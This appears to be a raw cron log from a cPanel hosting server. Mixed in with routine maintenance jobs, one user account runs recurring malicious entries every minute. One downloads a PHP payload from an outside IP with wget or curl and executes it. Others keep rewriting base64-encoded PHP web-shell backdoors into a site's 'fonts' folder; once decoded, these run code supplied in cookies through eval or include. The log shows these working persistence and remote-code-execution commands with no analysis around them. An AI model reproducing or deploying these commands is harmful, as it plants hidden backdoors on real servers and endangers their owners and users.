Sep 20 13:56:01 ip-184-168-122-23 CROND[19402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:56:01 ip-184-168-122-23 CROND[19404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:56:01 ip-184-168-122-23 CROND[19406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:56:01 ip-184-168-122-23 CROND[19405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:56:01 ip-184-168-122-23 CROND[19407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:57:01 ip-184-168-122-23 CROND[19640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:57:01 ip-184-168-122-23 CROND[19642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:57:01 ip-184-168-122-23 CROND[19644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:57:01 ip-184-168-122-23 CROND[19643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:58:01 ip-184-168-122-23 CROND[19953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:58:01 ip-184-168-122-23 CROND[19956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:58:01 ip-184-168-122-23 CROND[19957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:58:01 ip-184-168-122-23 CROND[19958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:58:01 ip-184-168-122-23 CROND[19955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:59:01 ip-184-168-122-23 CROND[20203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:59:01 ip-184-168-122-23 CROND[20202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:59:01 ip-184-168-122-23 CROND[20205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:59:01 ip-184-168-122-23 CROND[20204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:00:02 ip-184-168-122-23 CROND[20437]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 14:00:02 ip-184-168-122-23 CROND[20441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:00:02 ip-184-168-122-23 CROND[20447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:00:02 ip-184-168-122-23 CROND[20448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:00:02 ip-184-168-122-23 CROND[20450]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 14:00:02 ip-184-168-122-23 CROND[20451]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 20 14:00:02 ip-184-168-122-23 CROND[20456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:00:02 ip-184-168-122-23 CROND[20458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:00:02 ip-184-168-122-23 CROND[20457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 14:01:01 ip-184-168-122-23 CROND[20725]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 14:01:01 ip-184-168-122-23 CROND[20726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:01:01 ip-184-168-122-23 CROND[20730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:01:01 ip-184-168-122-23 CROND[20729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:01:01 ip-184-168-122-23 CROND[20728]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 14:01:01 ip-184-168-122-23 CROND[20733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20725]: starting 0anacron
Sep 20 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20746]: finished 0anacron
Sep 20 14:02:01 ip-184-168-122-23 CROND[20970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:02:01 ip-184-168-122-23 CROND[20969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:02:01 ip-184-168-122-23 CROND[20971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:02:01 ip-184-168-122-23 CROND[20973]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:02:01 ip-184-168-122-23 CROND[20972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:03:01 ip-184-168-122-23 CROND[21285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:03:01 ip-184-168-122-23 CROND[21287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:03:01 ip-184-168-122-23 CROND[21291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:03:01 ip-184-168-122-23 CROND[21294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:04:01 ip-184-168-122-23 CROND[21554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:04:01 ip-184-168-122-23 CROND[21556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:04:01 ip-184-168-122-23 CROND[21558]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:04:01 ip-184-168-122-23 CROND[21557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:04:01 ip-184-168-122-23 CROND[21559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:05:01 ip-184-168-122-23 CROND[21827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:05:01 ip-184-168-122-23 CROND[21829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:05:01 ip-184-168-122-23 CROND[21830]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 14:05:01 ip-184-168-122-23 CROND[21828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:05:01 ip-184-168-122-23 CROND[21832]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 14:05:01 ip-184-168-122-23 CROND[21831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 14:05:01 ip-184-168-122-23 CROND[21834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:06:01 ip-184-168-122-23 CROND[22112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:06:01 ip-184-168-122-23 CROND[22115]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:06:01 ip-184-168-122-23 CROND[22117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:06:01 ip-184-168-122-23 CROND[22118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:06:01 ip-184-168-122-23 CROND[22119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:07:01 ip-184-168-122-23 CROND[22357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:07:01 ip-184-168-122-23 CROND[22359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:07:01 ip-184-168-122-23 CROND[22362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:07:01 ip-184-168-122-23 CROND[22363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:08:01 ip-184-168-122-23 CROND[22611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
